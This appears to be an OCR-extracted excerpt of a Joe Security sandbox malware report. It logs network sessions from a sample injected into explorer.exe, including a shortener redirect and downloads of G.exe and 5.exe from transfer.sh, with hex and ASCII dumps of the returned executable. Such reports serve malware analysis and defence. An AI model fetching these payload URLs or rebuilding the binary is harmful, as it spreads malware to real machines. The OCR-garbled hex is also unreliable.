00 79 00 45 00 67 00 51 00 45 00 5a 00 74 00 7a 00 6d 00 31 00 73 00 63 00 73 00 75 00 64 00 57 00 39 00 62 00 49 00
45 00 57 00 7a 00 31 00 50 00 39 00 6f 00 62 00 64 00 59 00 68 00 31 00
Data Ascii: mtOAaDVaWX+/CaqQaRPxx4PKKjwEVdpXQhJpezzlzujdEogUMrbm3z5u5Gu+ePRWzAe7JfXja2HHAI
XOFIOmI+MXWun9RrjmyEgQEZtzm1scsudW9bIEWz1P9obdYh1l
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Timestamp transferred

2022-01-14 03:59:13 UTC 466

2022-01-14 03:59:13 UTC 482

2022-01-14 03:59:13 UTC 498

2022-01-14 03:59:13 UTC 514

Session ID Source IP

2 192.168.2.3
kBytes

Timestamp transferred

2022-01-14 03:59:42 UTC 526

2022-01-14 03:59:42 UTC 526

2022-01-14 03:59:42 UTC 528

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49858

Direction

ouT

Data

Data Raw: 00 43 00 68 00 70 00 39 00 42 00 4a 00 36 00 72 00 6f 00 30 00 47 00 37 00 50 00 72 00 31 00 74 00 33 00 79
0079 00 68 00 48 00 51 00 78 00 5a 00 52 00 6e 00 69 00 63 00 75 00 52 00 5a 00 67 00 56 00 50 00 47 00 78 00 6e 00
5a 0052 00 58 00 32 00 77 00 51 00 44 00 76 00 2b 00 44 00 74 00 48 00 4f 00 39 00 31 00 64 00 30 00 66 00 4a 00 70
00 69 00 75 00 6e 00 66 00 69 00 55 00 73 00 6f 00 54 00 39 00 4e 00 78 00 2f 00 35 00 5a 00 6¢ 00 61 00 66 00 4d 00 57
00 4a 00 38 00 61 00 38 00 36 00 39 00 4b 00 50 00 68 00 61 00 54 00 45 00 75 00 76 00 58 00 67 00 2b 00 6¢ 00 4b 00
36 00 77 00 61 00 76 00 56 00 61 00 4b 00 6f 00 75 00 63 00 52 00 6a 00 72 00 71 00 61 00 4d 00 48 00 52 00 44 00 58
00 6a 00 64 00 34 00 59 00 37 00 4a 00 73 00 75 00 4e 00 4c 00 48 00

Data Ascii: Chp9BJ6ro0G7Pr1t3yyhHQXxZRnicuRZgVPGxnZRX2wQDv+DtHO91d0fJpiunfiusoTINX/5ZlafMWJ
8a869KPhaTEuvXg+lKéwavVaKoucRjrqaMHRDXjd4Y7JsuNLH

Data Raw: 00 77 00 4c 00 35 00 35 00 6¢ 00 49 00 56 00 6d 00 55 00 54 00 6d 00 4e 00 73 00 76 00 56 00 71 00 78 00 52
0052 00 52 00 47 00 37 00 45 00 62 00 77 00 57 00 69 00 32 00 4f 00 62 00 38 00 52 00 31 00 37 00 47 00 79 00 36 00
6¢ 00 65 00 7a 00 79 00 44 00 71 00 33 00 34 00 61 00 74 00 4a 00 4a 00 42 00 75 00 2b 00 55 00 64 00 50 00 36 00 37
00 44 00 47 00 56 00 55 00 47 00 6d 00 36 00 66 00 33 00 4e 00 50 00 37 00 6f 00 35 00 71 00 66 00 76 00 62 00 4b 00 5
000 47 00 45 00 55 00 79 00 4c 00 62 00 4e 00 56 00 77 00 6e 00 73 00 43 00 75 00 61 00 73 00 32 00 42 00 58 00 37
00 72 00 72 00 41 00 33 00 68 00 4c 00 74 00 55 00 6b 00 34 00 32 00 2f 00 65 00 53 00 7a 00 4a 00 31 00 59 00 4d 00
4d 00 77 00 58 00 52 00 74 00 4b 00 7a 00 69 00 70 00 51 00 71 00 62 00

Data Ascii: wL551IVmUTmNsvVgxRRRG7EbwWi20b8R17Gy6lezyDg34atJJBu+UdP67DGVUGM6f3NP705qfvbKPG
EUyLbNVwnsCuas2BX7rrA3hLtUk42/eSzJ1Y MMwXRtKzipQgb

Data Raw: 00 70 00 74 00 4d 00 50 00 4b 00 4c 00 4d 00 56 00 31 00 59 00 51 00 30 00 4e 00 79 00 6d 00 58 00 36 00 4c
0051 00 6e 00 45 00 41 00 57 00 35 00 58 00 50 00 6e 00 64 00 66 00 4d 00 73 00 54 00 62 00 46 00 34 00 33 00 71 00
38 0052 00 42 00 42 00 44 00 34 00 6d 00 66 00 43 00 54 00 39 00 6b 00 7a 00 39 00 54 00 56 00 4b 00 30 00 4c 00 71
00 4d 00 45 00 51 00 33 00 4a 00 6b 00 42 00 7a 00 49 00 46 00 36 00 6f 00 55 00 43 00 7a 00 45 00 57 00 48 00 2b 00 3
800 4f 00 56 00 56 00 37 00 6f 00 70 00 33 00 59 00 69 00 71 00 4f 00 48 00 50 00 6b 00 64 00 48 00 71 00 53 00 55 00
64 00 2b 00 4a 00 4b 00 71 00 42 00 5a 00 7a 00 55 00 43 00 51 00 51 00 72 00 30 00 31 00 79 00 4b 00 75 00 5a 00 4d
00 44 00 36 00 53 00 2b 00 69 00 39 00 36 00 39 00 76 00 76 00 63 00

Data Ascii: ptMPKLMV1YQONymX6LQnEAWS5XPndfMsThF43g8RBBD4mfCT9kz9TVKOLGMEQ3JkBzIF60UCZEWH+80
VV70p3YigOHPkdHqSUd+JKqBZzUCQQr01lyKuZMD6S+i969vve

Data Raw: 00 5a 00 35 00 50 00 33 00 55 00 55 00 32 00 6d 00 7a 00 63 00 31 00 7a 00 75 00 44 00 64 00 62 00 73 00
61 0051 00 51 00 58 00 35 00 49 00 59 00 56 00 61 00 53 00 59 00 50 00 71 00 61 00 62 00 73 00 64 00 6e 00 32 00 78
00 30 00 50 00 44 00 55 00 32 00 5a 00 44 00 38 00 4f 00 75 00 77 00 65 00 6b 00 49 00 6d 00 53 00 57 00 68 00 43 00 7
400 74 00 48 00 67 00 49 00 57 00 4b 00 51 00 38 00 2b 00 63 00 51 00 58 00 34 00 43 00 74 00 58 00 33 00 4c 00 4f 00
66 00 51 00 73 00 79 00 6e 00 34 00 64 00 42 00 75 00 48 00 37 00 53 00 6d 00 6a 00 71 00 67 00 4c 00 73 00 77 00 4c
00 54 00 45 00 52 00 50 00 50 00 69 00 71 00 65 00 69 00 42 00 32 00 32 00 68 00 4f 00 48 00 45 00 66 00 2b 00 52 00
6a 00 2b 00 2b 00 4a 00 77 00 64 00 4d 00 55 00 48 00 68 00 6e 00 32 00

Data Ascii: Z5P3UU2mzc1zuDdbsaQQX51YVaSY Pgabsdn2x0PDU2ZD80uweklmSWhCttHgIWKQ8+cQX4CtX3LOfQ
syn4dBuH7SmjqgLswLTERPPIqeiB22hOHEf+Rj++JwdMUHhn2

Destination IP Destination Port Process

172.67.139.105 443 C:\Windows\explorer.exe

Data

GET /abhF HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: goo.su

HTTP/1.1 200 OK

Date: Fri, 14 Jan 2022 03:59:42 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

vary: Accept-Encoding

x-powered-by: PHP/7.2.21

cache-control: private, must-revalidate

pragma: no-cache

expires: -1

set-cookie: XSRF-TOKEN=eyJpdil61kJ2NGhxc1pwR2pKcnINem5qMEo0QXc9IPSIsInZhbHVlljoiaU8zS3htbkh
DYzVOVIImROxxazVMVKZRS3d3ZWdYR2dzdFZPRXpEbGZuRXBCZGI2NWMOWEpGQW1FdFFtWW9IMSIsIm1
hYyl6ImUINTJINZZKNDFKMTUIMGILYWZKNjcONTASZTBjZWQ3NWNKZmQyZDgOYTE2ZjIxZjQwYTBmMzZ
JMGNjMDNjN2YifQ%3D%3D; expires=Fri, 14-Jan-2022 22:39:42 GMT; Max-Age=67200; path=/

set-cookie: goosu_session=eyJpdil6IIBDS3dRY2wzWEZDXC9tUzIXeVBCAUN3PTOILCJ2YWx1ZSI6InR1IMnNk
YnpwWjZmRE54Q3FtYzVwOWtybmt4M0orNKEOcDM5QWNMaEJORWtqTzZpc2k0eSsONUorZW5iUIEzZUVMILCItY WMiOi
IWMTcyMzU20TUS50TdINDc1YZzVKY2MxZDViZjkwMjZiZTg40TgzZDUXYWMA4ZjRiMjYONTcxZjgzZGI5MjY3MGEOIN0%3D;
expires=Fri, 14-Jan-2022 22:39:42 GMT; Max-Age=67200; path=/; httponly

CF-Cache-Status: DYNAMIC

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\/\v3?s=QA5cZVCVi5uOUC%2FxzuRalOv40nYFUq
zqT02%2Br3L%2F0tyQ1U4vvUfNylpTe7hnE05vLY91evQV3c3%2FC3hMpxfTIGCSOpNfmMivVyEJoKyR%2FfrIDxg7
5DeUY|8%3D"}],"group":"cf-nel","max_age":604800}

Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f
22 3a 226366 2d 6e 65 6¢ 22 2¢ 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63
6¢ 6f 75 64 66 6¢ 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 36 63 64 33 66 34 30 30 66 39 66 34 30 30 38 64 2d 4c 48 52
0d 0a 61 6¢ 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 2c 20 68 33 2d 32 39 3d 22
3a 34 34 3322 3b 20 6d 61 3d 38 36 34 30 30 2c 20 68 33 2d 32 38 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30
2c¢ 20 68 33 2d 32 37 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d Oa 0d Oa

Data Ascii: NEL: {"success_fraction™:0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd3f40
0f9f4008d-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86
400
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kBytes
Timestamp transferred

2022-01-14 03:59:42 UTC 528

2022-01-14 03:59:42 UTC 529

2022-01-14 03:59:42 UTC 530

2022-01-14 03:59:42 UTC 532

2022-01-14 03:59:42 UTC 533

2022-01-14 03:59:42 UTC 534

2022-01-14 03:59:42 UTC 536

2022-01-14 03:59:42 UTC 536

Session ID Source IP

3 192.168.2.3
kBytes

Timestamp transferred

2022-01-14 03:59:42 UTC 536

Copyright Joe Security LLC 2022

Direction

IN

Source Port
49862

Direction

ouT

Data

Data Raw: 32 31 32 65 0d Oa 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 72 75
22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20
6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77
69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 22 3e Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f
74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e Oa 3c 74 69 74 6¢ 65 3e d0 9f d1 80 dO be dO b8 d1 81
d1 85 d0 be d0 b4 dO b8 d1 82 20 d0 bf d0 b5 d1 80 dO b5 dO bd d0 b0 d0 bf d1 80 dO b0 d0 b2 d0 bb dO b5 d0 bd dO b8 d
0 b5 2e 2e 2e 3c 2f 74 69 74 6¢ 65 3e 0a 0a 3c 6¢ 69 6e 6b 20 68

Data Ascii: 212e<!doctype html><html lang="ru"><head><meta charset="utf-8"><meta name="viewport" content="widt
h=device-width, initial-scale=1"><meta name="robots" content="noindex"><title> ...</title><link h

Data Raw: 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 62
6f 72 64 65 72 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6¢ 69 64 20
23 65 65 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20
20 20 7d 0a 0a 20 20 20 20 20 20 20 20 68 33 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65
3a 20 32 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65 72 3b
0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 20 20 20 20
2020 20 20 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 31 70

Data Ascii: -bottom: 30px; } .bordered { border: 1px solid #eee; padding: 10px; } h3 {
font-size: 24px; text-align: center; font-weight: 400; text-shadow: Opx 1p

Data Raw: 20 20 20 20 20 20 20 20 20 20 61 73 79 6e 63 3a 20 74 72 75 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 20
202020 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b Oa
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 20 3d 20 64 2e 67 65 74 45 6¢ 65 6d 65 6e 74 73 42 79
54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b Oa 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2020 20 73 20 3d 20 64 2e 63 72 65 61 74 65 45 6¢ 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0a 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 2e 74 79 70 65 20 3d 20 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70
74 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73
Data Ascii: async: true b; D; t = d.getElementsByTagName("script")[0];

s = d.createElement("script"); s.type = "text/javascript"; s

Data Raw: 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20
202020 20 20 20 20 20 73 20 3d 20 64 2e 63 72 65 61 74 65 45 6¢ 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b Oa
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 2e 74 79 70 65 20 3d 20 22 74 65 78 74 2f 6a 61 76 61 7
3637269 70 74 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 2e 73 72 63 20 3d 20 22 2f 2f
61 6e 2e 79 61 6e 64 65 78 2e 72 75 2f 73 79 73 74 65 6d 2f 63 6f 6e 74 65 78 74 2e 6a 73 22 3b 0a 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 73 2e 61 73 79 6e 63 20 3d 20 74 72 75 65 3b 0a 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e

Data Ascii: yTagName("script")[0]; s = d.createElement("script"); s.type = "text/javascript”;

s.src = "/fan.yandex.ru/system/context.js"; s.async = true; t.parentNode.

Data Raw: 67 72 69 74 79 3d 22 73 68 61 33 38 34 2d 71 38 69 2f 58 2b 39 36 35 44 7a 4f 30 72 54 37 61 62 4b 34 31 4a
53745149 417156 67 5256 7a 70 62 7a 6f 35 73 6d 58 4b 70 34 59 66 52 76 48 2b 38 61 62 74 54 45 31 50 69 36 6a
69 7a 6f 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e Oa 3¢
73637269 70 74 3e 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 20 7c 7c 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27
3c 73637269 70 74 20 73 72 63 3d 22 2f 64 6f 63 73 2f 34 2e 33 2f 61 73 73 65 74 73 2f 6a 73 2f 76 65 6e 64 6f 72 2f 6a
717565 72 79 2d 73 6¢ 69 6d 2e 6d 69 6e 2e 6a 73 22 3e 3c 5¢ 2f 73 63 72 69 70 74 3e 27 29 Oa 3c 2f 73 63 72 69 70 74
3e 0a3c 73637269 70 74 20 73 72 63 3d 22 2f 6a 73 2f

Data Ascii: grity="sha384-q8i/X+965Dz00rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossori
gin="anonymous"></script><script>window.jQuery || document.write('<script src="/docs/4.3/assets/js/vendor/jquery-slim.mi
n.js"><Vscript>")</script><script src="/js/

Data Raw: 76 65 69 6e 74 65 72 6e 65 74 2e 72 75 2f 63 6¢ 69 63 6b 22 20 27 2b 0a 20 20 20 20 20 20 20 20 20 20 20 20
2774 61 72 67 65 74 3d 22 5f 62 6¢ 61 6e 6b 22 3e 3¢ 69 6d 67 20 73 72 63 3d 22 2f 2f 63 6f 75 6e 74 65 72 2e 79 61 64
72 6f 2e 72 75 2f 68 69 74 3f 74 34 34 2e 31 31 3b 72 27 2b 0a 20 20 20 20 20 20 20 20 20 20 20 20 65 73 63 61 70 65 28
64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 29 2b 28 28 74 79 70 65 6f 66 28 73 63 72 65 65 6e 29 3d 3d 27 75
6e 64 65 66 69 6e 65 64 27 29 3f 27 27 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 27 3b 73 27 2b 73 63 72
65 65 6e 2e 77 69 64 74 68 2b 27 2a 27 2b 73 63 72 65 65 6e 2e 68 65 69 67 68 74 2b 27 2a 27 2b 28 73 63 72 65 65 6e
2e 63 6f 6¢ 6f 72 44 65 70 74 68 3f 0a 20 20 20 20 20 20 20 20 20

Data Ascii: veinternet.ru/click" '+ ‘target="_blank"><img src="//counter.yadro.ru/hit?t44.11;r'+ escape(docu
ment.referrer)+((typeof(screen)=="undefined’)?": ';s'+screen.width+*+screen.height+*+(screen.colorDepth?

Data Raw: 70 65 72 61 5d 22 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 2e 61 64 64 45 76 65 6e
74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2¢ 20 66 2c 20 66 61 6¢ 73 65 29 3b
0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 65 6¢ 73 65 20 7b 20 66 28 29 3b 20 7d Oa 20 20 20 20 20 20 20 20 7d 29
28 77 69 6e 64 6f 77 2c 20 64 6f 63 75 6d 65 6e 74 2¢ 20 22 5f 74 6f 70 31 30 30 71 22 29 3b 0a 20 20 20 20 3c 2f 73 63
72 69 70 74 3e Oa 3c 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 2f 2f 63 6f 75
6e 74 65 72 2e 72 61 6d 62 6¢ 65 72 2e 72 75 2f 74 6f 70 31 30 30 2e 63 6e 74 3f 70 69 64 3d 36 36 37 33 31 35 35 22 20
61 6¢ 74 3d 22 d0 a2 d0 be dO bf 2d 31 30 30 22 20 2f 3e 0a 20

Data Ascii: pera]") { d.addEventListener("DOMContentLoaded", f, false); }else {f(); } P(window,
document, " _top100q"); </script><noscript> <img src="//counter.rambler.ru/top100.cnt?pid=6673155" alt="-100" />

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

144.76.136.153 443 C:\Windows\explorer.exe

Data

GET /get/QbPIFD/G.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: transfer.sh
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kBytes
Timestamp transferred

2022-01-14 03:59:42 UTC 536

2022-01-14 03:59:42 UTC 537

Session ID Source IP

4 192.168.2.3
kBytes

Timestamp transferred

2022-01-14 03:59:47 UTC 537

2022-01-14 03:59:48 UTC 537

2022-01-14 03:59:48 UTC 537

2022-01-14 03:59:48 UTC 553

2022-01-14 03:59:48 UTC 569

2022-01-14 03:59:48 UTC 585

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49876

Direction

ouT

Data

HTTP/1.1 404 Not Found

Server: nginx/1.14.2

Date: Fri, 14 Jan 2022 03:59:42 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 10

Connection: close

Retry-After: Fri, 14 Jan 2022 04:59:44 GMT
X-Content-Type-Options: nosniff
X-Made-With: <3 by DutchCoders
X-Ratelimit-Key: 127.0.0.1,84.17.52.18,84.17.52.18
X-Ratelimit-Limit: 10

X-Ratelimit-Rate: 600

X-Ratelimit-Remaining: 9

X-Ratelimit-Reset: 1642132784

X-Served-By: Proudly served by DutchCoders

Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Oa
Data Ascii: Not Found

Destination IP Destination Port Process

144.76.136.153 443 C:\Windows\explorer.exe

Data

GET /get/ug3XSe/5.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: transfer.sh

HTTP/1.1 200 OK

Server: nginx/1.14.2

Date: Fri, 14 Jan 2022 03:59:48 GMT
Content-Type: application/x-ms-dos-executable
Content-Length: 3576320

Connection: close

Content-Disposition: attachment; filename="5.exe"
Retry-After: Fri, 14 Jan 2022 04:59:50 GMT
X-Made-With: <3 by DutchCoders
X-Ratelimit-Key: 127.0.0.1,84.17.52.18,84.17.52.18
X-Ratelimit-Limit: 10

X-Ratelimit-Rate: 600

X-Ratelimit-Remaining: 9

X-Ratelimit-Reset: 1642132790
X-Remaining-Days: n/a

X-Remaining-Downloads: n/a

X-Served-By: Proudly served by DutchCoders

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 fa 8b €0 61 00 00 00 00 00 00 00 00 €0 00 03 01 Ob 01
Oe 1d 00 24 02 00 00 ba 02 00 00 00 00 00 00 10 00 00 00 10 00 00 00 40 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06
00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 53 00 00 04 00 00 bb 21 37 00 02 00 00 81 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELa$@@S!7

Data Raw: 5¢ 11 ac 72 40 cf b1 1f ec ab 46 b2 51 e6 ae 8d 43 98 27 86 e6 af 9b b0 a6 27 1c 35 90 95 c¢5 32 f0 09 fd ca c2
68 bd 21 95 5¢ bb 3d fa f2 09 8e 63 70 99 fd fe 66 6b a7 c9 47 2c 73 f5 bd 47 14 78 08 70 54 8b 71 85 77 ee 72 96 a5 98
b2 3c 1c c2 83 35 0e 58 5a €7 59 Oc e3 12 71 12 6b 97 b5 a6 17 5f ce 4c 14 7c 15 4e ¢3 34 9 5 6a 65 9 a4 1a 90 69 f5
3c d4 cd e9 3e 94 70 5d 06 98 ff d7 f9 b8 f7 8a f7 cf d4 41 15 1a 10 24 ec 44 4d 14 4e 9f ce 96 02 95 f1 e4 3b ad 3a d1 6¢
04 de 64 al da 56 4a 42 4b 95 af 7d 1c dc df 5a 2f d5 ff 69 5d 8c 7d 3f 48 cd e2 f7 1e ed 02 6d a0 b6 a5 12 0f 84 e9 ff f9 5¢
0a 8b b6 c6 e5 fb d8 af f0 52 85 2b b2 8a 2e 27 06 29 52 62 49 6a dc le ef 21 a0 c¢7 94 b5 c0 c3 ec a7 42 al 2f 23 89 a4
53 63 b2 4d 6a 14 02 25 b3 c0 d0 ae cf e2 9a

Data Ascii: \r@FQC"52h\=cpfkG,sGXpTawr<5XZYqk_L|N4jei<>p]A$DMN;:IdVIBK}Z/i[}?Hm\R+.")Rblj!B/#ScMj%

Data Raw: b3 79 b2 Oc 50 d9 b1 6b 57 1e 38 e9 eb ba 2b 4d 27 df ca c2 ff d7 32 5d 8f cf 08 89 4e c8 a8 51 77 65 9a ac 24
aa el 94 95 12 24 a9 79 48 85 50 8a 1f 8d f8 20 00 8¢ 0d 89 f7 96 4c 9e 32 d7 le le 70 3e a0 71 b3 e0 Oc 13 5d 06 05 36
b0 39 02 24 10 36 bl 1a 95 6d 5d 97 ac e6 ac 52 53 3e de 18 c6 1a 32 cb df 70 22 1e 26 7a da 90 f0 41 93 e5 6b ef 87 el
66 74 b2 2e f9 cb 9a 25 af 1f cf b4 a9 40 2c 06 09 d9 6d 7d 5¢ 2d 6d 23 de c5 ed 87 b2 51 90 fd 25 af 7e 99 db 55 32 f6 da
96 ac 7e 8e 6d 2f 7b e8 db 77 7a c1 fb 52 2¢ 0f a0 Oe b7 3a d4 67 91 05 23 d4 11 Oa 8a 81 f4 05 a0 a8 f1 cc Of 33 0d 8c

36 14 69 6f 8a 70 Ob 4c 8d f4 88 2d dO 7c 75 6a 86 f8 c0 55 b8 21 da c2 d8 d6 84 fO 48 e3 Ob fa 85 32 89 a0 cd cd 87 8f 77
7acd 16 29 82 18 70 65 35 dd 57 50 c1 7b d3 08

Data Ascii: yPkW8+M'2]NQwe$$yHP L2p>q]69$6m]RS>2p"&zAkft.%@ m)\-m#Q%~U2~mAwzR,:g#36iopL-|uju!H2wz)p
e5WP{

Data Raw: 88 28 67 60 8e dO d7 Ob fd d2 5e 6b a8 9d 4c 79 9d 37 5d 99 6f 5¢ a6 23 08 6e 53 c5 8e c6 95 a4 ef 00 57 85
2240 d6 c7 e7 f361 70 Ob 96 3c b6 43 18 9c Oc d1 a5 27 3e ee 33 6¢ bd 99 34 6d 4e ca ab 6e 7 30 4d 54 fc a2 67 71 al
5e 85 67 ba 2a el 17 91 50 be b9 7c 30 db 6 83 b3 86 9b 54 c9 d7 82 35 49 7b f6 47 7 Oe Oe 8a 96 c4 77 51 eb d9 58 44
4b 7f 45 86 30 42 94 50 4b 2c Oc 7c c9 6¢ 83 06 9b 4d eb 22 5f c3 a6 8a f1 60 9d 3d 28 a9 a7 cf c8 54 82 b1 45 77 3e 3d
10 bd c2 6f 29 66 f7 02 84 73 bd 94 b5 bb 3b 7c 23 b7 76 5a 84 6a 4b bc df ab €9 14 d8 66 63 a8 e8 d5 83 5a 3¢ 30 a2 20
d8 86 3f Ob 60 9a ed 85 04 18 25 1c le ab 13 a7 0f 85 83 f8 47 ¢3 76 77 64 Ob b2 a2 61 53 f8 5¢ 73 5b 2a b2 97 25 77 08
24.0d 73 ¢5 0f d9 1a 89 5f 95 41 6d bc 46 2f 4b 35 18 11

Data Ascii: (g kLy7]oWnSW"@ap<C'>314mNnOMTgg*g*P|0TS{GWQXDKEOBPK,|IM"_'=(TEw>=0)fs;|#vZjKfcZ<0 ?
%GvwdaS\s[*%w$s_AmF/K5
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:48 UTC 601 IN Data Raw: f0 a9 77 8b 4a 6¢ 7f 46 f6 88 8d 6b 49 bc f9 3e 03 7b 3e de 42 b8 bf 53 22 ¢5 51 cf 69 aa 06 18 32 71 el 5d 41
20 a6 82 bd fa 3d 34 4a e5 85 c7 64 6f 24 3e ca d8 28 17 e4 16 8b a6 73 5b 4b a4 9b 56 4e de 3c 91 8f 3d c1 21 00 93 fc
50 ee b3 9a b5 84 df ce 44 fb 4c 08 3b 52 64 17 d9 ea d6 51 39 d1 6b Of 03 4f c9 d3 a5 ef 32 c9 5f b5 a6 c6 58 54 ab a9 ad
¢4 1f 09 59 f1 7d 25 a0 39 17 5b 78 79 c3 7d 7e 4d 52 26 41 12 2e 73 a8 0f c7 9a 32 14 66 28 7f 8b 10 e4 28 49 ae 80 44
bd 02 ea 7d bd ed b1 Oc 89 1b 22 c5 10 d0 3d fO b2 a6 f8 45 a6 fO b5 42 c8 Ob 2e f5 92 3¢ 17 97 42 7d 57 b4 36 91 a8 1f
c6 63 b5 3e 13 94 5a 77 a5 56 a5 18 71 93 fa 9a c2 6e 1a 26 1d 6¢ d3 d9 66 31 be 82 4b 72 40 c9 5b 08 53 54 49 ed 50
b3 ae 97 d0 6f a9 61 b4 1e fd 93 53 3a 8c e0 ce 43 1b
Data Ascii: wJIFKI>{>BS"Qi2q]A =4Jdo$>(s[KVN<=!PDL;RdQ9k02_XTY}%9[xy}~MR&A.s2f((ID}'=EB.<B}W6c>ZwVgn
&If1IKr@[STIPoaS:C

2022-01-14 03:59:48 UTC 617 IN Data Raw: 1e 54 9d 7a 40 55 70 0d fe 41 fa 29 de 72 6¢ f5 79 cc ed 71 31 45 79 08 53 b2 fO b6 c0 49 1a 02 93 bd 7d 02
